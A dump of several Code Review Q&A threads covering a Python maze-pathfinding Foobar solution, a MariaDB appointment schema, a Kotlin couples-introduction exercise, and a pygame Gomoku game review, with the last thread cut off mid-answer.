<p>I am trying to solve Google Foobar challenge <code>prepare-the-bunnies-escape</code> using my own approach, instead of BFS. I attempt to solve two ends of the maze and try to connect them together. It works, but it exceeds Google's time limits. How can I optimize the program/algorithm to meet google standards?</p>
<h1>Readme.txt</h1>
<blockquote>
<p>You have maps of parts of the space station, each starting at a work area exit and ending at the door to an escape pod. The map is represented as a matrix of 0s and 1s, where 0s are passable space and 1s are impassable walls. The door out of the station is at the top left (0,0) and the door into an escape pod is at the bottom right (w-1,h-1).</p>
</blockquote>
<blockquote>
<p>Write a function solution(map) that generates the length of the shortest path from the station door to the escape pod, where you are allowed to remove one wall as part of your remodeling plans. The path length is the total number of nodes you pass through, counting both the entrance and exit nodes. The starting and ending positions are always passable (0). The map will always be solvable, though you may or may not need to remove a wall. The height and width of the map can be from 2 to 20. Moves can only be made in cardinal directions; no diagonal moves are allowed.</p>
</blockquote>
<h1>Constraints</h1>
<blockquote>
<ul>
<li>Your code will run inside a Python 2.7.13 sandbox. All tests will be run by calling the solution() function.</li>
<li>Standard libraries are supported except for bz2, crypt, fcntl, mmap, pwd, pyexpat, select, signal, termios, thread, time, unicodedata, zipimport, zlib.</li>
<li>Input/output operations are not allowed.</li>
<li>Your solution must be under 32000 characters in length including new lines and and other non-printing characters.</li>
</ul>
</blockquote>
<pre><code>"""Google foobar challenge attempt
foobar:~/prepare-the-bunnies-escape
"""
r1 = ((1, 0), (-1, 0), (0, 1), (0, -1))
r2 = ((2, 0), (-2, 0), (0, 2), (0, -2))
class Out(Exception): pass
class Node(object):
def __init__(self, coord, parent=None):
self.coord = coord
self.parent = parent
self.index = 0
if self.parent is None:
self.depth = 0
self.path = []
else:
self.depth = self.parent.depth+1
self.path = self.parent.path*1 # copy
self.path.append(coord)
self.children = []
def add_child(self, coord):
if coord not in self.path:
self.children.append(self.__class__(coord, parent=self))
def next(self):
if self.index+1 > len(self.children):
if self.parent is None:
raise Out
else:
return self.parent.next()
else:
self.index += 1
return self.children[self.index-1]
def get_top(self):
return self if self.parent is None else self.parent.get_top()
def get(arr, coord):
y, x = coord
if 0 <= y < len(arr) and 0 <= x < len(arr[0]):
return arr[y][x]
else:
return -1
def walkthru(arr, node, dest):
"""Solve maze."""
try:
while True:
if node.coord == dest:
break
for offset in r1:
coord = (node.coord[0]+offset[0], node.coord[1]+offset[1])
if get(arr, coord) == 0:
if coord not in node.path:
node.add_child(coord)
node = node.next()
except Out:
return node
def traverse(node):
"""Get all child nodes of node."""
result = []
result.append(node)
if node.children:
for child in node.children:
result.extend(traverse(child))
return result
def solution(m):
"""Return minimum path (always solvable)."""
head_coord, tail_coord = ((0, 0)), ((len(m)-1, len(m[0])-1))
head, tail = Node(head_coord), Node(tail_coord)
walkthru(m, head, tail)
walkthru(m, tail, head)
head_nodes, tail_nodes = (traverse(_) for _ in (head, tail))
tail_coords = [node.coord for node in tail_nodes]
path_lengths = []
for node in head_nodes:
if node.coord == tail_coords:
path_lengths.append(len(node.path))
else:
for offset in r2:
coord = (node.coord[0]+offset[0], node.coord[1]+offset[1])
if coord in tail_coords:
path_lengths.append(len(tail_nodes[tail_coords.index(coord)].path)+len(node.path)+1)
return min(path_lengths)
</code></pre>
|
[] |
[
{
"body": "<p>It looks like you're trying to traverse all possible ways; this is very ineffective, something about <span class=\"math-container\">\\$O(4^{w*h})\\$</span> time.\nYou could try <a href=\"https://en.wikipedia.org/wiki/Lee_algorithm\" rel=\"nofollow noreferrer\">Lee's wave algorithm</a> instead. Because you need only a length, you don't need anything after the expansion step; and then, build the same expansion map in a backward direction (from exit to entrance) and check all the neighbors of all walls for a minimal sum of neighbors from two maps to get the length of the best shortcut - total will be <span class=\"math-container\">\\$O((w*h)^2)\\$</span>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T05:34:26.997",
"Id": "263944",
"ParentId": "263921",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T00:40:54.467",
"Id": "263921",
"Score": "1",
"Tags": [
"python",
"beginner",
"programming-challenge",
"time-limit-exceeded",
"pathfinding"
],
"Title": "Google Foobar challenge optimization"
}
|
263921
|
<p>How would you go about designing a database for service appointment?</p>
<p>Here is what i came up with so far. Let me know if there is a better way.
Basically the admin should be able to build services list, work schedule. Based on this data Client should be able to make service appointment on specific days, hours.</p>
<pre><code>CREATE TABLE Services(
id integer NOT NULL auto_increment,
service varchar(255) NOT NULL,
length_in_min integer NOT NULL DEFAULT 20,
capacity integer NOT NULL DEFAULT 1,
PRIMARY KEY(id));
INSERT INTO Services(id, service, length_in_min, capacity) values(1, 'ANY', 20, 1); -- if ANY allow for all service apointments
INSERT INTO Services(service, length_in_min, capacity) values('USG', 30, 1); -- if USG allow aonly USG apointments
INSERT INTO Services(service, length_in_min, capacity) values('VISION', 10, 1); -- if VISION allow aonly VISION apointments
CREATE TABLE Shedules(
id integer NOT NULL auto_increment,
day integer NOT NULL,
open time NOT NULL,
close time NOT NULL,
service_id integer NOT NULL DEFAULT 1,
createdat timestamp DEFAULT NOW(),
modifiedat timestamp DEFAULT NOW(),
starts_from datetime NOT NULL DEFAULT NOW(),
ends_at datetime NOT NULL DEFAULT '9999-01-01 00:00:00',
PRIMARY KEY(id),
FOREIGN KEY (service_id) REFERENCES Services(id)
ON DELETE CASCADE
ON UPDATE CASCADE);
INSERT INTO Shedules(service_id, day, open, close) values(1, 1, '10:00:00', '18:00:00');
INSERT INTO Shedules(service_id, day, open, close) values(2, 3, '08:30:00', '16:00:00');
INSERT INTO Shedules(service_id, day, open, close) values(3, 4, '08:30:00', '16:00:00');
SELECT sh.id as shedule_id, sh.day, sh.open, sh.close, sh.service_id, sh.starts_from, sh.ends_at, se.id as service_id, se.service, se.length_in_min
FROM Shedules sh
LEFT JOIN Services se
ON sh.service_id = se.id;
CREATE TABLE Clients(
id integer NOT NULL auto_increment,
name varchar(255) NOT NULL,
email varchar(255) NOT NULL,
phone varchar(255) NOT NULL,
legals BOOLEAN DEFAULT TRUE,
PRIMARY KEY(id));
INSERT INTO Clients(name, email, phone) VALUES ("Wiktor", "some@email.com", "000 000 000");
CREATE TABLE Appointments(
id integer NOT NULL auto_increment,
service_id int NOT NULL, -- service int
client_id int NOT NULL, -- client int
createdat timestamp DEFAULT NOW(),
modifiedat timestamp DEFAULT NOW(),
starts datetime NOT NULL,
ends datetime NOT NULL,
paid_online BOOLEAN NOT NULL DEFAULT FALSE,
approved_by_client BOOLEAN NOT NULL DEFAULT FALSE,
PRIMARY KEY(id),
FOREIGN KEY (service_id) REFERENCES Services(id)
ON DELETE CASCADE
ON UPDATE CASCADE,
FOREIGN KEY (client_id) REFERENCES Clients(id)
ON DELETE CASCADE
ON UPDATE CASCADE);
// insert in to appointments if ...
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T13:30:10.297",
"Id": "521206",
"Score": "1",
"body": "What version of MySQL?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T13:38:51.773",
"Id": "521208",
"Score": "1",
"body": "@Reinderien I currently use 10.4.19-MariaDB"
}
] |
[
{
"body": "<ul>\n<li>This is a matter of personal preference, but nothing in the SQL standard imposes upper-case, and I find lower-case to be more legible</li>\n<li>On your primary key columns, replace <code>NOT NULL</code> with an inline <code>primary key</code> constraint declaration which implies <code>not null</code> anyway</li>\n<li>Move your foreign key constraints to inline</li>\n<li><code>length_in_min</code> could be a floating-point quantity, if you want to represent fractional minutes</li>\n<li>Your repeated <code>values</code> clauses can in some instances be combined into one statement</li>\n<li>It's not "Shedule", it's "Schedule"</li>\n<li>Never (<em>never</em>) hard-code an ID, even for test data. Select based on the other columns that you know. Likewise, never set a numeric default for a foreign key value.</li>\n<li>Add more constraints around your datetimes - you know that modified will never be before created, for example; and the day-of-week must be between 1 and 7.</li>\n<li>I'm pleased to see that overall your use of boolean and non-nullable columns is actually pretty decent.</li>\n<li>Your <code>createdat</code> and <code>modifiedat</code> do not follow your underscore convention for column names, so add some underscores.</li>\n</ul>\n<h2>Suggested</h2>\n<pre><code>create table Services(\n id integer auto_increment primary key,\n service varchar(255) not null,\n length_in_min float not null default 20,\n capacity integer not null default 1\n);\n\n\ncreate table Schedules(\n id integer auto_increment primary key,\n day integer not null check(day between 1 and 7),\n open time not null,\n close time not null check(close > open),\n service_id integer not null references Services(id)\n on delete cascade on update cascade,\n created_at timestamp default now(),\n modified_at timestamp default now() check(modified_at >= created_at),\n starts_from datetime not null default now(),\n ends_at datetime not null default '9999-01-01 00:00:00' \n check(ends_at >= starts_from)\n);\n\n\ncreate table Clients(\n id integer auto_increment primary key,\n name varchar(255) not null,\n email varchar(255) not null,\n phone varchar(255) not null,\n legals boolean default true\n);\n\n\ncreate table Appointments(\n id integer auto_increment primary key,\n service_id int not null references Services(id)\n on delete cascade on update cascade,\n client_id int not null references Clients(id)\n on delete cascade on update cascade,\n created_at timestamp default now(),\n modified_at timestamp default now() check(modified_at >= created_at),\n starts datetime not null,\n ends datetime not null check(ends > starts),\n paid_online boolean not null default false,\n approved_by_client boolean not null default false\n);\n\n\ninsert into Services(service, length_in_min, capacity) values\n ('ANY', 20, 1), -- if ANY allow for all service apointments\n ('USG', 30, 1), -- if USG allow only USG apointments\n ('VISION', 10, 1); -- if VISION allow only VISION apointments\n \ninsert into Schedules(service_id, day, open, close) \nselect id, 1, '10:00:00', '18:00:00' from Services where service = 'ANY';\n\ninsert into Schedules(service_id, day, open, close)\nselect id, 3, '08:30:00', '16:00:00' from Services where service = 'USG';\n\ninsert into Schedules(service_id, day, open, close)\nselect id, 4, '08:30:00', '16:00:00' from Services where service = 'VISION';\n\ninsert into Clients(name, email, phone) values ("Wiktor", "some@email.com", "000 000 000");\n\nselect sh.id as schedule_id, sh.day, sh.open, sh.close, sh.service_id, \n sh.starts_from, sh.ends_at, se.id as service_id, se.service, \n se.length_in_min \nfrom Schedules sh \nleft join Services se on sh.service_id = se.id;\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/IrEgs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IrEgs.png\" alt=\"output table\" /></a></p>\n<p><a href=\"https://dbfiddle.uk/?rdbms=mariadb_10.4&fiddle=fc5aba0479e743e9dff869c5635579fd\" rel=\"nofollow noreferrer\">https://dbfiddle.uk/?rdbms=mariadb_10.4&fiddle=fc5aba0479e743e9dff869c5635579fd</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T16:47:50.097",
"Id": "521222",
"Score": "1",
"body": "\"This is a matter of personal preference, but nothing in the SQL standard imposes upper-case, and I find lower-case to be more legible\" It used to be standard to write keywords in uppercase and it's still the standard in many places. Primary benefit of using uppercase is it's immediately obvious they're keywords. Did this change recently?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T17:14:53.497",
"Id": "521223",
"Score": "1",
"body": "I was thinking the same thing, and wondering why `VALUES` wasn't consistently upper-case in the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T20:02:09.303",
"Id": "521228",
"Score": "0",
"body": "@Mast as with every other language - keyword emphasis is what a syntax-highlighting editor is for"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T20:49:31.087",
"Id": "521232",
"Score": "0",
"body": "@TobySpeight i left it by mistake. It meant to be upper but I am open to any suggestions regarding writing style or logic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T22:16:34.390",
"Id": "521233",
"Score": "2",
"body": "double Plus Good for *Never (never) hard-code an ID* [i.e. meaningless PK] ... *never set a numeric default for a foreign key valueI* [i.e. self-corrupting database]"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T22:33:31.310",
"Id": "521235",
"Score": "1",
"body": "I don't understand the seeming universal urge to create \"dummy\" PKs especially with disregard for candidate compound PKs. Either case, in my experience, this may end up with the application code heroically enforcing key rules; with sporatic code fixes to handle the latest corrupt record variation. \"Candidate\" = A relationally valid key, but not implemented in the DB."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T14:15:51.803",
"Id": "263932",
"ParentId": "263924",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T04:31:34.003",
"Id": "263924",
"Score": "1",
"Tags": [
"sql",
"mysql",
"database"
],
"Title": "Appointment database design - Schema"
}
|
263924
|
<p>Following idea: There are three married couples and they have to be introduced another.</p>
<p>I have implemented this solution:</p>
<pre><code>val couples = arrayOf(
arrayOf("Michael", "Sandy"),
arrayOf("Frank", "Claudia"),
arrayOf("Andrew", "Michelle")
)
for (i in 0 until couples.size) {
for (j in 0 until couples[0].size) {
var currentPerson = couples[i][j]
for (k in i + 1 until couples.size) {
for (l in 0 until couples[0].size) {
println("$currentPerson, this is ${couples[k][l]}.")
}
}
}
}
</code></pre>
<p>Results in:</p>
<pre><code>Michael, this is Frank.
Michael, this is Claudia.
Michael, this is Andrew.
Michael, this is Michelle.
Sandy, this is Frank.
Sandy, this is Claudia.
Sandy, this is Andrew.
Sandy, this is Michelle.
Frank, this is Andrew.
Frank, this is Michelle.
Claudia, this is Andrew.
Claudia, this is Michelle.
</code></pre>
<p>So I guess it's formally correct. But using that many loops isn't great.</p>
<p>Is there a way to reduce the amount of loops? Or is there a completely different approach to solve the problem?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T20:00:14.587",
"Id": "521227",
"Score": "0",
"body": "The data structures you've used seem a bit odd. Unless the names or couples will change at some point, it'd probably be best to use `listOf` to hold the list of couples, and to use a `Pair` for each couple. In case some of the couples get divorced, die, or become polygamous, you could perhaps use mutable lists for both the outer and inner lists. I also don't see a need to assign to `currentPerson` (and it can be a `val` instead of a `var` anyway)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T20:09:21.817",
"Id": "521229",
"Score": "0",
"body": "It appears that each couple only has two people (since couples only consist of two people), so you can drop the second and fourth loops and just use `0` and `1` directly, unless you are planning for single people or more than two people as I've suggested above. I don't think you can do much else regarding the loops - the time complexity of this is going to be pretty high, but as long as you don't have too many couples to introduce to each other, it's probably fine."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T20:26:17.640",
"Id": "521230",
"Score": "1",
"body": "@user I wish I could flag your comments with \"Not a comment, it's an answer\". I think you should post these things in an answer :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T23:55:08.213",
"Id": "521238",
"Score": "0",
"body": "@SimonForsberg I'll do so next time :)"
}
] |
[
{
"body": "<p>Efficiency-wise, I don't think you can do any improvements. At least none that I can think of. The four loops will have to be there in some way or another, but can of course be abstracted behind functions so that it doesn't give you so many levels of nesting.</p>\n<p>Things that can be improved however, is typing and extensibility.</p>\n<p>Algorithmitically speaking, your code is a more specific version of "There are X groups containing varying amount of people and they have to be introduced to another."</p>\n<hr />\n<p><code>data class PeopleGroup(val people: Collection<String>)</code></p>\n<p>Order doesn't really matter so I'm not specifying whether it's a <code>List</code>, or a <code>Set</code>, we could even generalize it to <code>Iterable<String></code> but that's a bit overkill.</p>\n<pre><code>val groups: MutableSet<PeopleGroup> = mutableSetOf(\n PeopleGroup(listOf("Michael", "Sandy")),\n PeopleGroup(listOf("Frank", "Claudia")),\n PeopleGroup(listOf("Andrew", "Michelle"))\n)\n</code></pre>\n<p>That gives us some better structure. Note: I made it mutable so that we can remove already visited groups.</p>\n<p>Now, to remove visited groups we can use an <code>Iterator</code>. And to handle the people to introduce a person to, we can use <code>flatMap</code>.</p>\n<pre><code>val iterator = groups.iterator()\nwhile (iterator.hasNext()) {\n val group = iterator.next()\n iterator.remove()\n\n for (person in group.people) {\n for (other in groups.flatMap { it.people }) {\n println("$person, this is $other.")\n }\n }\n}\n</code></pre>\n<p>There are still some ways to improve this code, but I will leave you with this for now.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T23:54:16.147",
"Id": "521237",
"Score": "0",
"body": "You can directly use [`mutableSetOf`](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.collections/mutable-set-of.html) to avoid the extra `toMutableSet()` (I don't know if that's idiomatic or if it has disadvantages, though)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T09:30:38.290",
"Id": "521251",
"Score": "0",
"body": "@user Good point, fixed"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T20:47:40.550",
"Id": "263938",
"ParentId": "263929",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "263938",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T09:34:09.567",
"Id": "263929",
"Score": "1",
"Tags": [
"array",
"kotlin"
],
"Title": "Multi-dimensional arrays exercise: Introduce married couples to each other"
}
|
263929
|
<p>I attempted to implement a simple Gomoku game (connect 5) in pygame and wanted to get some help. So far, the basic features are working fine with 2 players going against each other.</p>
<h1>Entire Code</h1>
<pre><code>import numpy as np
import pygame
import sys
import math
# initialize the pygame program
pygame.init()
# static variables
ROW_COUNT = 15
COL_COUNT = 15
# define screen size
BLOCKSIZE = 50 # individual grid
S_WIDTH = COL_COUNT * BLOCKSIZE # screen width
S_HEIGHT = ROW_COUNT * BLOCKSIZE # screen height
PADDING_RIGHT = 200 # for game menu
SCREENSIZE = (S_WIDTH + PADDING_RIGHT,S_HEIGHT)
RADIUS = 20 # game piece radius
# colors
BLACK = (0,0,0)
WHITE = (255,255,255)
BROWN = (205,128,0)
# create a board array
def create_board(row, col):
board = np.zeros((row,col))
return board
# draw a board in pygame window
def draw_board(screen):
for x in range(0,S_WIDTH,BLOCKSIZE):
for y in range(0,S_HEIGHT,BLOCKSIZE):
rect = pygame.Rect(x, y, BLOCKSIZE, BLOCKSIZE)
pygame.draw.rect(screen,BROWN,rect)
# draw inner grid lines
# draw vertical lines
for x in range(BLOCKSIZE // 2, S_WIDTH - BLOCKSIZE // 2 + BLOCKSIZE, BLOCKSIZE):
line_start = (x, BLOCKSIZE // 2)
line_end = (x,S_HEIGHT-BLOCKSIZE // 2)
pygame.draw.line(screen, BLACK, line_start,line_end,2)
# draw horizontal lines
for y in range(BLOCKSIZE // 2, S_HEIGHT - BLOCKSIZE // 2 + BLOCKSIZE, BLOCKSIZE):
line_start = (BLOCKSIZE // 2,y)
line_end = (S_WIDTH-BLOCKSIZE // 2,y)
pygame.draw.line(screen, BLACK, line_start,line_end,2)
pygame.display.update()
# drop a piece
def drop_piece(board, row, col, piece):
board[row][col] = piece
# draw a piece on board
def draw_piece(screen,board):
# draw game pieces at mouse location
for x in range(COL_COUNT):
for y in range(ROW_COUNT):
circle_pos = (x * BLOCKSIZE + BLOCKSIZE//2, y * BLOCKSIZE + BLOCKSIZE//2)
if board[y][x] == 1:
pygame.draw.circle(screen, BLACK, circle_pos, RADIUS)
elif board[y][x] == 2:
pygame.draw.circle(screen, WHITE, circle_pos, RADIUS)
pygame.display.update()
# check if it is a valid location
def is_valid_loc(board, row, col):
return board[row][col] == 0
# victory decision
def who_wins(board, piece):
# check for horizontal win
for c in range(COL_COUNT - 4):
for r in range(ROW_COUNT):
if board[r][c] == piece and board[r][c+1] == piece and board[r][c+2] == piece and board[r][c+3] == piece\
and board[r][c+4] == piece:
return True
# check for vertical win
for c in range(COL_COUNT):
for r in range(ROW_COUNT-4):
if board[r][c] == piece and board[r+1][c] == piece and board[r+2][c] == piece and board[r+3][c] == piece\
and board[r+4][c] == piece:
return True
# check for positively sloped diagonal wih
for c in range(COL_COUNT-4):
for r in range(4,ROW_COUNT):
if board[r][c] == piece and board[r-1][c+1] == piece and board[r-2][c+2] == piece and board[r-3][c+3] == piece\
and board[r-4][c+4] == piece:
return True
# check for negatively sloped diagonal win
for c in range(COL_COUNT-4):
for r in range(ROW_COUNT-4):
if board[r][c] == piece and board[r+1][c+1] == piece and board[r+2][c+2] == piece and board[r+3][c+3] == piece\
and board[r+4][c+4] == piece:
return True
def main():
# game variables
game_over = False
turn = 0 # turn == 0 for player 1, turn == 1 for player 2
piece_1 = 1 # black
piece_2 = 2 # white
# FPS
FPS = 60
frames_per_sec = pygame.time.Clock()
# board 2D array
board = create_board(ROW_COUNT,COL_COUNT)
print(board)
# game screen
SCREEN = pygame.display.set_mode(SCREENSIZE)
SCREEN.fill(WHITE)
pygame.display.set_caption('Gomoku (Connet 5)')
# icon = pygame.image.load('icon.png')
# pygame.display.set_icon(icon)
# font
my_font = pygame.font.Font('freesansbold.ttf', 32)
# text message
label_1 = my_font.render('Black wins!', True, WHITE, BLACK)
label_2 = my_font.render('White wins!', True, WHITE, BLACK)
# display the screen
draw_board(SCREEN)
# game loop
while not game_over:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
elif event.type == pygame.MOUSEBUTTONDOWN:
x_pos = event.pos[0]
y_pos = event.pos[1]
col = int(math.floor(x_pos / BLOCKSIZE))
row = int(math.floor(y_pos / BLOCKSIZE))
# turn decision, if black(1)/white(2) piece already placed, go back to the previous turn
if board[row][col] == 1:
turn = 0
if board[row][col] == 2:
turn = 1
# Ask for Player 1 move
if turn == 0:
# check if its a valid location then drop a piece
if is_valid_loc(board, row, col):
drop_piece(board, row, col, piece_1)
draw_piece(SCREEN,board)
if who_wins(board,piece_1):
print('Black wins!')
SCREEN.blit(label_1, (280,50))
pygame.display.update()
game_over = True
# Ask for Player 2 move
else:
# check if its a valid location then drop a piece
if is_valid_loc(board, row, col):
drop_piece(board, row, col, piece_2)
draw_piece(SCREEN,board)
if who_wins(board,piece_2):
print('White wins!')
SCREEN.blit(label_2, (280,50))
pygame.display.update()
game_over = True
print(board)
# increment turn
turn += 1
turn = turn % 2
if game_over:
pygame.time.wait(4000)
frames_per_sec.tick(FPS)
if __name__ == '__main__':
main()
</code></pre>
<p>Game play screenshots:
<a href="https://i.stack.imgur.com/AUudP.png" rel="noreferrer"><img src="https://i.stack.imgur.com/AUudP.png" alt="enter image description here" /></a></p>
<p><a href="https://i.stack.imgur.com/TLP4Q.png" rel="noreferrer"><img src="https://i.stack.imgur.com/TLP4Q.png" alt="enter image description here" /></a></p>
<h2>Comment</h2>
<p>The game seems to run fine. I moved some of my code into <code>main()</code> so that I can create a restart feature for the next step.</p>
<p>Also some of the additional features I'm thinking about creating:</p>
<ul>
<li>undo function: undoes a previous move</li>
<li>redo function: restores a piece deleted by the <code>undo()</code> function</li>
<li>leave a mark on the current piece.
example:
<a href="https://i.stack.imgur.com/Av7ev.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Av7ev.png" alt="enter image description here" /></a></li>
</ul>
<p>Any criticism/help are very welcome!</p>
|
[] |
[
{
"body": "<p>I can suggest a small improvement when you are checking the win with the code:</p>\n<pre><code> if board[r][c] == piece and board[r][c+1] == piece and board[r][c+2] == piece and board[r][c+3] == piece\\\n and board[r][c+4] == piece:\n</code></pre>\n<p>You are checking if all of the specified positions are equal to <code>piece</code>, so you could write a helper:</p>\n<pre><code>def all_equal(xs, y):\n return all(x == y for x in xs)\n</code></pre>\n<p>And re-use this function for the various checks reducing repetition of this logic concept and making the code cleaner and more readable.</p>\n<hr />\n<p>Another way to reduce repetition is in this code block:</p>\n<pre><code> if turn == 0:\n # check if its a valid location then drop a piece\n if is_valid_loc(board, row, col):\n drop_piece(board, row, col, piece_1)\n draw_piece(SCREEN,board)\n\n if who_wins(board,piece_1):\n print('Black wins!')\n SCREEN.blit(label_1, (280,50))\n pygame.display.update()\n game_over = True\n\n # Ask for Player 2 move\n else:\n # check if its a valid location then drop a piece\n if is_valid_loc(board, row, col):\n drop_piece(board, row, col, piece_2)\n draw_piece(SCREEN,board)\n\n if who_wins(board,piece_2):\n print('White wins!')\n SCREEN.blit(label_2, (280,50))\n pygame.display.update()\n game_over = True\n</code></pre>\n<p>You could do</p>\n<pre><code>if turn == 0:\n piece = piece_1\n name = "Black"\n label = label_1\nelse:\n piece = piece_2\n name = "White"\n label = label_2\n</code></pre>\n<p>And then:</p>\n<pre><code> if is_valid_loc(board, row, col):\n drop_piece(board, row, col, piece)\n draw_piece(SCREEN,board)\n\n if who_wins(board,piece):\n print(name + ' wins!')\n SCREEN.blit(label, (280,50))\n pygame.display.update()\n game_over = True\n</code></pre>\n<p>This makes it clear that players are treated with the same program logic and only some variables change between the handling of the turns of the two players.</p>\n<hr />\n<p>The code looks really clean overall, good division of concerns and clear constants at the start.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T13:07:21.030",
"Id": "263946",
"ParentId": "263936",
"Score": "7"
}
},
{
"body": "<p>To check if a player won, you don't need to scan the entire board every time. Scanning only around the piece that was just placed in all directions (horizontal, vertical, positively sloped diagonal, and negatively sloped diagonal) is enough.</p>\n<p>Here's an example implementation of this idea:</p>\n<pre class=\"lang-python prettyprint-override\"><code>from enum import Enum, auto\n\n\nclass Direction(Enum):\n N = auto()\n NE = auto()\n E = auto()\n SE = auto()\n S = auto()\n SW = auto()\n W = auto()\n NW = auto()\n\n @property\n def vector(self):\n return {\n Direction.N: (-1, 0),\n Direction.NE: (-1, 1),\n Direction.E: (0, 1),\n Direction.SE: (1, 1),\n Direction.S: (1, 0),\n Direction.SW: (1, -1),\n Direction.W: (0, -1),\n Direction.NW: (-1, -1),\n }[self]\n\n\ndef count(board, row, col, direction):\n """\n Return the number of consecutive pieces matching the starting piece's\n color, starting from (but not including) the starting piece, and going\n in the given direction.\n\n row: starting piece's row\n col: starting piece's column\n """\n\n def on_board(row, col):\n return 0 <= row < ROW_COUNT and 0 <= col < COL_COUNT\n\n piece_color = board[row][col]\n row_delta, col_delta = direction.vector\n\n count = 0\n row, col = row + row_delta, col + col_delta\n while on_board(row, col) and board[row][col] == piece_color:\n count += 1\n row, col = row + row_delta, col + col_delta\n\n return count\n\n\ndef is_win(board, row, col):\n """\n Returns True if the piece played on (row, col) wins the game.\n """\n\n def is_win_helper(board, row, col, d1, d2):\n return count(board, row, col, d1) + 1 + count(board, row, col, d2) >= 5\n\n return (\n # horizontal win\n is_win_helper(board, row, col, Direction.W, Direction.E)\n # vertical win\n or is_win_helper(board, row, col, Direction.N, Direction.S)\n # positively sloped diagonal win\n or is_win_helper(board, row, col, Direction.SW, Direction.NE)\n # negatively sloped diagonal win\n or is_win_helper(board, row, col, Direction.NW, Direction.SE)\n )\n</code></pre>\n<p>Then you can check if the player who just played at <code>(row, col)</code> won by doing:</p>\n<pre class=\"lang-python prettyprint-override\"><code>if is_win(board, row, col):\n # ...\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T23:45:08.543",
"Id": "263963",
"ParentId": "263936",
"Score": "5"
}
},
{
"body": "<p>There's a lot to improve, but also this is a fun and functional game and you've done well so far.</p>\n<ul>\n<li>Do not call <code>init</code> from the global namespace</li>\n<li>This comment:</li>\n</ul>\n<pre><code># create a board array\ndef create_board(row, col):\n</code></pre>\n<p>and all of your other comments like it are worse than having no comment at all. Even if that comment were informative, you'd want to move it to a standard <code>"""docstring"""</code> on the first line inside of the method. As a bonus, some of your comments are not only redundant but just lies, such as <code># draw game pieces at mouse location</code>. This does <em>not</em> draw at the mouse location; it draws at every single location in the game grid.</p>\n<ul>\n<li><p>Currently your Numpy array is float-typed, which is inappropriate. Set an integer type instead.</p>\n</li>\n<li><p>Consider using named argument notation for unclear quantities such as your line width</p>\n</li>\n<li><p>DRY (don't-repeat-yourself) up this code:</p>\n<pre><code> if board[y][x] == 1:\n pygame.draw.circle(screen, BLACK, circle_pos, RADIUS)\n elif board[y][x] == 2:\n pygame.draw.circle(screen, WHITE, circle_pos, RADIUS)\n</code></pre>\n</li>\n</ul>\n<p>so that the call to <code>circle</code> is only written once</p>\n<ul>\n<li>The recommendation from @Setris is a much better way of doing victory checking. Even if you keep the exhausive method, use some Numpy array slicing to make your life easier.</li>\n<li>Having a loop termination flag like <code>game_over</code> is usually not a good idea and this is no exception. You can just break or return, once you have a specific-enough method.</li>\n<li>Not all that useful to <code>print</code> anything. Once your code is working I would delete all of those.</li>\n<li><code>SCREEN.fill(WHITE)</code> is not helpful. If your board colour is brown, why not just fill with brown? Resize your window to be the board size (I have not shown this). Furthermore, your board drawing should lose its first two loops altogether - you can draw a single rectangle rather than every tile.</li>\n<li><code>SCREEN</code> should be lower-case.</li>\n<li>Don't track any timing or FPS. You have no animations. Don't <code>event.get</code>; instead <code>event.wait</code>. Also don't hang the program for a few seconds and then exit; let the user exit themselves when they want.</li>\n<li>Tuple-unpack your <code>event.pos</code> rather than indexing into it.</li>\n<li>Your <code>turn</code> should use the same value definitions as your pieces. Doing otherwise is needlessly confusing.</li>\n<li>Why are you calling both <code>is_valid_loc</code> as well as doing <code># turn decision, if black(1)/white(2) piece already placed, go back to the previous turn</code>? I do not understand this. They seem to do the same thing.</li>\n<li>Your per-player turn logic is highly repetitive and should only be written once.</li>\n<li>For <code>draw_piece</code>, rather than iterating over every array element, call <code>np.argwhere</code></li>\n<li>There is no sense in pre-arranging for two different labels, only to display one. You can construct and show a label on the fly.</li>\n<li>Add type hints.</li>\n</ul>\n<h2>Suggested</h2>\n<p>I'd go further than this, but this should get you 